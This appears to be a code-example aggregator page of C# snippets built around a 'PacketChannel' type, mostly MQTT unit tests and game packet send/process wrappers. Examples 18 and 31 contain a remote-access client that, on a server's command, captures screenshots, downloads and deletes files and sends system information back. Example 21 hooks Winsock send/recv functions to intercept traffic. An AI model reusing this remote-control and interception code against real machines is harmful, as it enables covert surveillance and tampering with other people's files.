Exemplo n.º 1
0
        public void when_reading_bytes_then_notifies_packet(string packetPath, Type packetType)
        {
            MqttConfiguration configuration = new MqttConfiguration {
                WaitTimeoutSecs = 1
            };
            Subject <byte[]> receiver = new Subject <byte[]>();
            Mock <IMqttChannel <byte[]> > innerChannel = new Mock <IMqttChannel <byte[]> >();

            innerChannel.Setup(x => x.ReceiverStream).Returns(receiver);

            object expectedPacket         = Activator.CreateInstance(packetType);
            Mock <IPacketManager> manager = new Mock <IPacketManager>();

            manager.Setup(x => x.GetPacketAsync(It.IsAny <byte[]>()))
            .Returns(Task.FromResult <IPacket>((IPacket)expectedPacket));

            PacketChannel channel = new PacketChannel(innerChannel.Object, manager.Object, configuration);

            IPacket receivedPacket = default;

            channel.ReceiverStream.Subscribe(packet =>
            {
                receivedPacket = packet;
            });

            packetPath = Path.Combine(Environment.CurrentDirectory, packetPath);

            byte[] readPacket = Packet.ReadAllBytes(packetPath);

            receiver.OnNext(readPacket);

            Assert.NotNull(receivedPacket);
            packetType.Should().Be(receivedPacket.GetType());
        }
Exemplo n.º 2
0
 /// <summary>
 ///     Receives the packet.
 /// </summary>
 /// <param name="channel">Channel to process the packet on</param>
 public void ProcessPacket(PacketChannel channel = PacketChannel.S2C)
 {
     if (Process)
     {
         Game.ProcessPacket(PacketData, channel);
     }
 }
Exemplo n.º 3
0
 /// <summary>
 /// Receives the packet.
 /// </summary>
 public void Process(PacketChannel channel = PacketChannel.S2C)
 {
     if (!Block)
     {
         Game.ProcessPacket(Ms.ToArray(), channel);
     }
 }
Exemplo n.º 4
0
 /// <summary>
 /// Configures a packet channel with this client's values
 /// </summary>
 /// <param name="channel"></param>
 private void ConfigurePacketChannel(PacketChannel <TPacket> channel)
 {
     channel.SetFactory(packetFactory);
     channel.SetReceiveAction(HandlePacket);
     channel.SetSendAction(DoSendData);
     channel.SetWriteUdpHeader(WriteUdpHeader);
 }
Exemplo n.º 5
0
        public void when_packet_channel_error_then_notifies()
        {
            MqttConfiguration configuration = new MqttConfiguration {
                WaitTimeoutSecs = 1
            };
            Subject <byte[]> receiver = new Subject <byte[]>();
            Mock <IMqttChannel <byte[]> > innerChannel = new Mock <IMqttChannel <byte[]> >();

            innerChannel.Setup(x => x.ReceiverStream).Returns(receiver);

            Mock <IPacketManager> manager = new Mock <IPacketManager>();

            PacketChannel channel = new PacketChannel(innerChannel.Object, manager.Object, configuration);

            string errorMessage = "Packet Exception";

            receiver.OnError(new MqttException(errorMessage));

            Exception errorReceived = default;

            channel.ReceiverStream.Subscribe(_ => { }, ex =>
            {
                errorReceived = ex;
            });

            Assert.NotNull(errorReceived);
            Assert.True(errorReceived is MqttException);
            errorMessage.Should().Be((errorReceived as MqttException).Message);
        }
Exemplo n.º 6
0
        public async Task when_writing_packet_then_inner_channel_is_notified(string packetPath, Type packetType)
        {
            MqttConfiguration configuration = new MqttConfiguration {
                WaitTimeoutSecs = 1
            };

            packetPath = Path.Combine(Environment.CurrentDirectory, packetPath);

            byte[] bytes = Packet.ReadAllBytes(packetPath);

            Subject <byte[]> receiver = new Subject <byte[]>();
            Mock <IMqttChannel <byte[]> > innerChannel = new Mock <IMqttChannel <byte[]> >();

            innerChannel.Setup(x => x.ReceiverStream).Returns(receiver);
            innerChannel.Setup(x => x.SendAsync(It.IsAny <byte[]>()))
            .Returns(Task.Delay(0));

            IPacket packet = Activator.CreateInstance(packetType) as IPacket;

            Mock <IPacketManager> manager = new Mock <IPacketManager>();

            manager.Setup(x => x.GetBytesAsync(It.IsAny <IPacket>()))
            .Returns(Task.FromResult(bytes));

            PacketChannel channel = new PacketChannel(innerChannel.Object, manager.Object, configuration);

            await channel.SendAsync(packet);

            innerChannel.Verify(x => x.SendAsync(It.Is <byte[]>(b => b.ToList().SequenceEqual(bytes))));
            manager.Verify(x => x.GetBytesAsync(It.Is <IPacket>(p => Convert.ChangeType(p, packetType) == packet)));
        }
Exemplo n.º 7
0
 public static void SendAsPacket(
     this byte[] packetData,
     PacketChannel channel             = PacketChannel.C2S,
     PacketProtocolFlags protocolFlags = PacketProtocolFlags.Reliable)
 {
     Game.SendPacket(packetData, channel, protocolFlags);
 }
Exemplo n.º 8
0
        public async Task when_writing_packet_from_source_then_inner_channel_is_notified(string packetPath, string jsonPath, Type packetType)
        {
            var configuration = new MqttConfiguration {
                WaitTimeoutSecs = 1
            };

            packetPath = Path.Combine(Environment.CurrentDirectory, packetPath);

            var bytes = Packet.ReadAllBytes(packetPath);

            var receiver     = new Subject <byte[]> ();
            var innerChannel = new Mock <IMqttChannel <byte[]> >();

            innerChannel.Setup(x => x.ReceiverStream).Returns(receiver);
            innerChannel.Setup(x => x.SendAsync(It.IsAny <byte[]> ()))
            .Returns(Task.Delay(0));

            jsonPath = Path.Combine(Environment.CurrentDirectory, jsonPath);

            var packet = Packet.ReadPacket(jsonPath, packetType) as IPacket;

            var manager = new Mock <IPacketManager> ();

            manager.Setup(x => x.GetBytesAsync(It.IsAny <IPacket>()))
            .Returns(Task.FromResult(bytes));

            var channel = new PacketChannel(innerChannel.Object, manager.Object, configuration);

            await channel.SendAsync(packet)
            .ConfigureAwait(continueOnCapturedContext: false);

            innerChannel.Verify(x => x.SendAsync(It.Is <byte[]> (b => b.ToList().SequenceEqual(bytes))));
            manager.Verify(x => x.GetBytesAsync(It.Is <IPacket> (p => Convert.ChangeType(p, packetType) == packet)));
        }
Exemplo n.º 9
0
 /// <summary>
 ///     Sends the packet
 /// </summary>
 /// <param name="channel">Channel to send the packet on</param>
 /// <param name="flags">Protocol to send to packet on</param>
 public void SendPacket(PacketChannel channel     = PacketChannel.C2S,
                        PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
 {
     if (Process)
     {
         Game.SendPacket(PacketData, channel, flags);
     }
 }
Exemplo n.º 10
0
 /// <summary>
 /// Sends the packet
 /// </summary>
 public void Send(PacketChannel channel     = PacketChannel.C2S,
                  PacketProtocolFlags flags = PacketProtocolFlags.NoFlags)
 {
     if (!Block)
     {
         Game.SendPacket(Ms.ToArray(), channel, flags);
     }
 }
Exemplo n.º 11
0
        /// <summary>
        ///     Receives the packet.
        /// </summary>
        /// <param name="channel">The channel.</param>
        public void Process(PacketChannel channel = PacketChannel.S2C)
        {
            return; //Blocked for now 4.21

            if (!this.Block)
            {
                Game.ProcessPacket(this.Ms.ToArray(), channel);
            }
        }
Exemplo n.º 12
0
        /// <summary>
        /// Sends the packet
        /// </summary>
        public void Send(PacketChannel channel     = PacketChannel.C2S,
                         PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
        {
            return;//Blocked for now 4.21

            if (!Block)
            {
                Game.SendPacket(Ms.ToArray(), Channel == PacketChannel.C2S ? channel : Channel, Flags == PacketProtocolFlags.Reliable ? flags : Flags);
            }
        }
Exemplo n.º 13
0
        public GamePacket(byte header, PacketChannel channel = PacketChannel.C2S, PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
        {
            Block = false;
            Ms = new MemoryStream();
            Br = new BinaryReader(Ms);
            Bw = new BinaryWriter(Ms);

            Br.BaseStream.Position = 0;
            Bw.BaseStream.Position = 0;
            WriteByte(header);
            _header = header;
            Channel = channel;
            Flags = flags;
        }
Exemplo n.º 14
0
        public GamePacket(byte header, PacketChannel channel = PacketChannel.C2S, PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
        {
            Block = false;
            Ms    = new MemoryStream();
            Br    = new BinaryReader(Ms);
            Bw    = new BinaryWriter(Ms);

            Br.BaseStream.Position = 0;
            Bw.BaseStream.Position = 0;
            WriteByte(header);
            _header = header;
            Channel = channel;
            Flags   = flags;
        }
Exemplo n.º 15
0
        /// <summary>
        ///     Initializes a new instance of the <see cref="GamePacket" /> class.
        /// </summary>
        /// <param name="args">The <see cref="GamePacketEventArgs" /> instance containing the event data.</param>
        public GamePacket(GamePacketEventArgs args)
        {
            this.Block = false;
            this.Ms    = new MemoryStream(args.PacketData);
            this.Br    = new BinaryReader(this.Ms);
            this.Bw    = new BinaryWriter(this.Ms);

            this.Br.BaseStream.Position = 0;
            this.Bw.BaseStream.Position = 0;
            this.rawPacket = args.PacketData;
            this._header   = args.PacketData[0];
            this.Channel   = args.Channel;
            this.Flags     = args.ProtocolFlag;
        }
Exemplo n.º 16
0
        public GamePacket(GamePacketEventArgs args)
        {
            Block = false;
            Ms    = new MemoryStream(args.PacketData);
            Br    = new BinaryReader(Ms);
            Bw    = new BinaryWriter(Ms);

            Br.BaseStream.Position = 0;
            Bw.BaseStream.Position = 0;
            rawPacket = args.PacketData;
            _header   = args.PacketData[0];
            Channel   = args.Channel;
            Flags     = args.ProtocolFlag;
        }
Exemplo n.º 17
0
        public GamePacket(GamePacketEventArgs args)
        {
            Block = false;
            Ms = new MemoryStream(args.PacketData);
            Br = new BinaryReader(Ms);
            Bw = new BinaryWriter(Ms);

            Br.BaseStream.Position = 0;
            Bw.BaseStream.Position = 0;
            rawPacket = args.PacketData;
            _header = args.PacketData[0];
            Channel = args.Channel;
            Flags = args.ProtocolFlag;
        }
Exemplo n.º 18
0
        private void Run()
        {
            client = new PaceClient();
            client.PacketReceived += Client_PacketReceived;
            client.PacketSent     += Client_PacketSent;

            var packetChannel = new PacketChannel();

            packetChannel.RegisterHandler <GetSystemInfoRequestPacket>(SystemHandlers.HandleGetSystemInfo);
            packetChannel.RegisterHandler <GetDrivesRequestPacket>(SystemHandlers.HandleGetDrives);
            packetChannel.RegisterHandler <TakeScreenshotRequestPacket>(SystemHandlers.HandleTakeScreenshot);
            packetChannel.RegisterHandler <RestartRequestPacket>(SystemHandlers.HandleRestart);

            packetChannel.RegisterHandler <DownloadFileRequestPacket>(FileHandlers.HandleDownloadFile);
            packetChannel.RegisterHandler <GetDirectoryRequestPacket>(FileHandlers.HandleGetDirectory);
            packetChannel.RegisterHandler <DeleteFileRequestPacket>(FileHandlers.HandleDeleteFile);
            packetChannel.RegisterHandler <SendFileRequestPacket>(FileHandlers.HandleSendFile);

            TryConnect();

            while (isConnected)
            {
                try
                {
                    var packet = client.ReadPacket();
                    packetChannel.HandlePacket(client, packet);
                }
                catch (IOException ex)
                {
                    if (ex.InnerException == null)
                    {
                        throw ex;
                    }

                    if (ex.InnerException.GetType() == typeof(SocketException))
                    {
                        var socketException = (ex.InnerException as SocketException);

                        if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
                        {
                            PrintDebug("Disconnected!");
                            TryConnect();
                        }
                    }
                }
            }

            Console.ReadKey();
        }
Exemplo n.º 19
0
        public DataPacket GetNewPacket(int channel, byte handlerID)
        {
            DataPacket    newPacket     = new DataPacket(channel, (CSteamID)NetworkGameManager.playerID);
            PacketChannel packetChannel = allChannels[channel];

            newPacket.handlerID       = handlerID;
            newPacket.isOrderedPacket = packetChannel.isOrdered;
            newPacket.isPriority      = packetChannel.isPriorityBased;
            newPacket.scrapOldPackets = packetChannel.scrapOld;
            if (packetChannel.isOrdered)
            {
                newPacket.packetID = packetChannel.GetNewID();
            }
            return(newPacket);
        }
Exemplo n.º 20
0
        /// <summary>
        ///     Initializes a new instance of the <see cref="GamePacket" /> class.
        /// </summary>
        /// <param name="header">The header.</param>
        /// <param name="channel">The channel.</param>
        /// <param name="flags">The flags.</param>
        public GamePacket(
            byte header,
            PacketChannel channel     = PacketChannel.C2S,
            PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
        {
            this.Block = false;
            this.Ms    = new MemoryStream();
            this.Br    = new BinaryReader(this.Ms);
            this.Bw    = new BinaryWriter(this.Ms);

            this.Br.BaseStream.Position = 0;
            this.Bw.BaseStream.Position = 0;
            this.WriteByte(header);
            this._header = header;
            this.Channel = channel;
            this.Flags   = flags;
        }
Exemplo n.º 21
0
        /// <summary>
        /// NOTE: You can currently only filter the packets for SEND and RECV channels.
        /// </summary>
        /// <param name="channels"> By default, all channels are selected. </param>
        /// <param name="interceptCallback"> The packets intercepted will be received here for logging, and filtering if necessary. </param>
        public NetworkDetour Install(PacketChannel channels, InterceptCallback interceptCallback)
        {
            SelectedChannels = channels;
            OnReceivePacket  = interceptCallback;

            if (SelectedChannels.HasFlag(PacketChannel.Send))
            {
                SendHook = new Detour().Install("ws2_32.dll", "send", callback_repl_send);
            }

            if (SelectedChannels.HasFlag(PacketChannel.Recv))
            {
                RecvHook = new Detour().Install("ws2_32.dll", "recv", callback_repl_recv);
            }

            if (SelectedChannels.HasFlag(PacketChannel.SendTo))
            {
                SendToHook = new Detour().Install("ws2_32.dll", "sendto", callback_repl_send_to);
            }

            if (SelectedChannels.HasFlag(PacketChannel.RecvFrom))
            {
                RecvFromHook = new Detour().Install("ws2_32.dll", "recvfrom", callback_repl_recv_from);
            }

            if (SelectedChannels.HasFlag(PacketChannel.WSASend))
            {
                WSASendHook = new Detour().Install("ws2_32.dll", "WSASend", callback_repl_wsa_send);
            }

            if (SelectedChannels.HasFlag(PacketChannel.WSARecv))
            {
                WSARecvHook = new Detour().Install("ws2_32.dll", "WSARecv", callback_repl_wsa_recv);
            }

            return(this);
        }
Exemplo n.º 22
0
        public void when_reading_bytes_from_source_then_notifies_packet(string packetPath, string jsonPath, Type packetType)
        {
            var configuration = new MqttConfiguration {
                WaitTimeoutSecs = 1
            };
            var receiver     = new Subject <byte[]> ();
            var innerChannel = new Mock <IMqttChannel <byte[]> >();

            innerChannel.Setup(x => x.ReceiverStream).Returns(receiver);

            jsonPath = Path.Combine(Environment.CurrentDirectory, jsonPath);

            var expectedPacket = Packet.ReadPacket(jsonPath, packetType) as IPacket;

            var manager = new Mock <IPacketManager> ();

            manager.Setup(x => x.GetPacketAsync(It.IsAny <byte[]>()))
            .Returns(Task.FromResult <IPacket>(expectedPacket));

            var channel = new PacketChannel(innerChannel.Object, manager.Object, configuration);

            var receivedPacket = default(IPacket);

            channel.ReceiverStream.Subscribe(packet => {
                receivedPacket = packet;
            });

            packetPath = Path.Combine(Environment.CurrentDirectory, packetPath);

            var readPacket = Packet.ReadAllBytes(packetPath);

            receiver.OnNext(readPacket);

            Assert.NotNull(receivedPacket);
            Assert.Equal(expectedPacket, receivedPacket);
        }
Exemplo n.º 23
0
 /// <summary>
 /// Sends the packet
 /// </summary>
 public void Send(PacketChannel channel = PacketChannel.C2S,
     PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
 {
     Game.SendPacket(Ms.ToArray(), channel, flags);
 }
Exemplo n.º 24
0
        /* public int[][] SearchGameTile(Vector2 position)
         * {
         *  var x = SearchShort(Utility.GetGameTile(position.X));
         *  var y = SearchShort(Utility.GetGameTile(position.Y));
         * }
         *
         * public int[][] SearchGameTile(Vector3 position)
         * {
         *  return SearchGameTile(position.To2D());
         * }
         *
         * public int[][] SearchGameTile(GameObject obj)
         * {
         *  return SearchGameTile(obj.Position.To2D());
         * }
         */

        /// <summary>
        /// Sends the packet
        /// </summary>
        public void Send(PacketChannel channel     = PacketChannel.C2S,
                         PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
        {
            Game.SendPacket(Ms.ToArray(), channel, flags);
        }
Exemplo n.º 25
0
 public static void ProcessAsPacket(this byte[] packetData, PacketChannel channel = PacketChannel.S2C)
 {
     Game.ProcessPacket(packetData, channel);
 }
Exemplo n.º 26
0
 public static void SendAsPacket(this byte[] packetData,
     PacketChannel channel = PacketChannel.C2S,
     PacketProtocolFlags protocolFlags = PacketProtocolFlags.Reliable)
 {
     Game.SendPacket(packetData, channel, protocolFlags);
 }
Exemplo n.º 27
0
 public static void ProcessAsPacket(this byte[] packetData, PacketChannel channel = PacketChannel.S2C)
 {
     Game.ProcessPacket(packetData, channel);
 }
Exemplo n.º 28
0
 /// <summary>
 /// Receives the packet.
 /// </summary>
 public void Process(PacketChannel channel = PacketChannel.S2C)
 {
     Game.ProcessPacket(Ms.ToArray(), channel);
 }
Exemplo n.º 29
0
 /// <summary>
 ///      Send a packet to the gameserver.
 /// </summary>
 /// <param name="packetData">Packet Data</param>
 /// <param name="channel">Packet Channel</param>
 /// <param name="flag">Packet Protocol Flag</param>
 public static void SendPacket(byte[] packetData, PacketChannel channel, PacketProtocolFlags flag)
 {
 }
Exemplo n.º 30
0
 /// <summary>
 /// Receives the packet.
 /// </summary>
 /// <param name="channel">The channel.</param>
 public void Process(PacketChannel channel = PacketChannel.S2C)
 {
     return; //Blocked for now 4.21
     if (!Block)
     {
         Game.ProcessPacket(Ms.ToArray(), channel);
     }
 }
Exemplo n.º 31
0
        private void Run()
        {
            client = new PaceClient();
            client.PacketReceived += Client_PacketReceived;
            client.PacketSent     += Client_PacketSent;

            PrintDebug("Waiting for Server...");

            while (!client.TcpClient.Connected)
            {
                try
                {
                    client.Connect(IPAddress.Parse(ClientConfiguration.Host), ClientConfiguration.Port);
                }
                catch (Exception)
                {
                    continue;
                }
            }

            PrintDebug("Connected!");

            var packetChannel = new PacketChannel();

            packetChannel.RegisterHandler <GetSystemInfoRequestPacket>((packet) =>
            {
                var systemInfo = SystemInformation.Get();

                var clientAddress = client.TcpClient.Client.LocalEndPoint.ToString().Split(':');

                var infoPacket = new GetSystemInfoResponsePacket(
                    ClientConfiguration.Identifier,
                    clientAddress[0],
                    int.Parse(clientAddress[1]),
                    systemInfo.UserName,
                    systemInfo.ComputerName,
                    systemInfo.OperatingSystem
                    );

                client.SendPacket(infoPacket);
            });

            packetChannel.RegisterHandler <DownloadFileRequestPacket>((packet) =>
            {
                var downloadFilePacket = (DownloadFileRequestPacket)packet;
                new WebFileDownloader().DownloadFile(downloadFilePacket.Url);
            });

            packetChannel.RegisterHandler <TakeScreenshotRequestPacket>((packet) =>
            {
                var screenshot = ScreenCapture.CaptureScreen();

                byte[] screenshotBytes = ScreenCapture.ImageToBytes(screenshot);

                var screenshotResponsePacket = new TakeScreenshotResponsePacket(screenshotBytes);

                client.SendPacket(screenshotResponsePacket);
            });

            packetChannel.RegisterHandler <SendFileRequestPacket>((packet) =>
            {
                var sendFilePacket = (SendFileRequestPacket)packet;
                File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, sendFilePacket.Filename), sendFilePacket.FileData);
            });

            packetChannel.RegisterHandler <GetDirectoryRequestPacket>((packet) =>
            {
                var getDirectoryPacket = (GetDirectoryRequestPacket)packet;

                var directory = new DirectoryInfo(getDirectoryPacket.Path);

                if (!directory.Exists)
                {
                    return;
                }

                var response = new GetDirectoryResponsePacket
                {
                    Folders = FileExplorer.GetDirectories(getDirectoryPacket.Path),
                    Files   = FileExplorer.GetFiles(getDirectoryPacket.Path)
                };

                client.SendPacket(response);
            });

            packetChannel.RegisterHandler <DeleteFileRequestPacket>((packet) =>
            {
                var deleteFilePacket = (DeleteFileRequestPacket)packet;

                PrintDebug($"Requested deletion of file {deleteFilePacket.File}");

                if (Directory.Exists(deleteFilePacket.File))
                {
                    Directory.Delete(deleteFilePacket.File);
                }
                else if (File.Exists(deleteFilePacket.File))
                {
                    File.Delete(deleteFilePacket.File);
                }

                client.SendPacket(new GetDirectoryResponsePacket
                {
                    Folders = FileExplorer.GetDirectories(Directory.GetParent(deleteFilePacket.File).FullName),
                    Files   = FileExplorer.GetFiles(Directory.GetParent(deleteFilePacket.File).FullName)
                });
            });

            isRunning = true;

            while (isRunning)
            {
                try
                {
                    var packet = client.ReadPacket();

                    packetChannel.HandlePacket(packet);
                }
                catch (IOException ex)
                {
                    if (ex.InnerException == null)
                    {
                        throw ex;
                    }

                    if (ex.InnerException.GetType() == typeof(SocketException))
                    {
                        var socketException = (ex.InnerException as SocketException);

                        if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
                        {
                            PrintDebug("Disconnected!");
                        }
                    }

                    isRunning = false;
                }
            }

            Console.ReadKey();
        }
Exemplo n.º 32
0
 /// <summary>
 ///     Creates a <see cref="GamePacket" /> with the event arguements for packets.
 /// </summary>
 /// <param name="args"></param>
 public GamePacket(GamePacketEventArgs args)
 {
     packetData = new GamePacketData(args);
     Channel    = args.Channel;
     Flags      = args.ProtocolFlag;
 }
Exemplo n.º 33
0
 /// <summary>
 ///     Creates a <see cref="GamePacket" /> from a packet.
 /// </summary>
 /// <param name="packet">Packet</param>
 public GamePacket(Packet packet)
 {
     packetData = new GamePacketData(packet.Id);
     Channel    = packet.Channel;
     Flags      = packet.Flags;
 }
Exemplo n.º 34
0
 /// <summary>
 ///     Initializes a new instance of the <see cref="Packet" /> class.
 ///     Creates a <see cref="Packet" /> with the packet data.
 /// </summary>
 /// <param name="id">
 ///     Packet Id
 /// </param>
 /// <param name="channel">
 ///     Packet Channel
 /// </param>
 /// <param name="flags">
 ///     Packet Flags
 /// </param>
 public Packet(short id, PacketChannel channel, PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
 {
     this.Id      = id;
     this.Channel = channel;
     this.Flags   = flags;
 }
Exemplo n.º 35
0
 /// <summary>
 ///     Creates a <see cref="GamePacket" /> with a header, channel, and protocol.
 /// </summary>
 /// <param name="id">Id of the packet</param>
 /// <param name="channel">Channel</param>
 /// <param name="flags">Protocol to send packet</param>
 public GamePacket(short id, PacketChannel channel, PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
 {
     packetData = new GamePacketData(id);
     Channel    = channel;
     Flags      = flags;
 }
Exemplo n.º 36
0
 /// <summary>
 ///     Initializes a new instance of the <see cref="GamePacket" /> class.
 /// </summary>
 /// <param name="id">
 ///     Id of the packet
 /// </param>
 /// <param name="channel">
 ///     The Channel
 /// </param>
 /// <param name="flags">
 ///     Protocol to send packet
 /// </param>
 public GamePacket(short id, PacketChannel channel, PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
 {
     this.packetData = new GamePacketData(id);
     this.Channel = channel;
     this.Flags = flags;
 }
Exemplo n.º 37
0
 /// <summary>
 ///     Processes a packet.
 /// </summary>
 /// <param name="packetData">PacketData</param>
 /// <param name="channel">Packet Channel</param>
 public static void ProcessPacket(byte[] packetData, PacketChannel channel)
 {
 }
Exemplo n.º 38
0
 /// <summary>
 /// Sends the packet
 /// </summary>
 /// <param name="channel">The channel.</param>
 /// <param name="flags">The flags.</param>
 public void Send(PacketChannel channel = PacketChannel.C2S,
     PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
 {
     return; //Blocked for now 4.21
     if (!Block)
     {
         Game.SendPacket(
             Ms.ToArray(), Channel == PacketChannel.C2S ? channel : Channel,
             Flags == PacketProtocolFlags.Reliable ? flags : Flags);
     }
 }
Exemplo n.º 39
0
 /// <summary>
 ///     Receives the packet.
 /// </summary>
 /// <param name="channel">Channel to process the packet on</param>
 public void ProcessPacket(PacketChannel channel = PacketChannel.S2C)
 {
     if (this.Process)
     {
         Game.ProcessPacket(this.PacketData, channel);
     }
 }
 public ReceivePacketEventArgs(PacketChannel channel, byte[] data, PacketProtocolFlags protocolFlags)
 {
     Channel       = channel;
     Data          = data;
     ProtocolFlags = protocolFlags;
 }
Exemplo n.º 41
0
 /// <summary>
 ///     Sends the packet
 /// </summary>
 /// <param name="channel">Channel to send the packet on</param>
 /// <param name="packetFlags">Protocol to send to packet on</param>
 public void SendPacket(
     PacketChannel channel = PacketChannel.C2S, 
     PacketProtocolFlags packetFlags = PacketProtocolFlags.Reliable)
 {
     if (this.Process)
     {
         Game.SendPacket(this.PacketData, channel, packetFlags);
     }
 }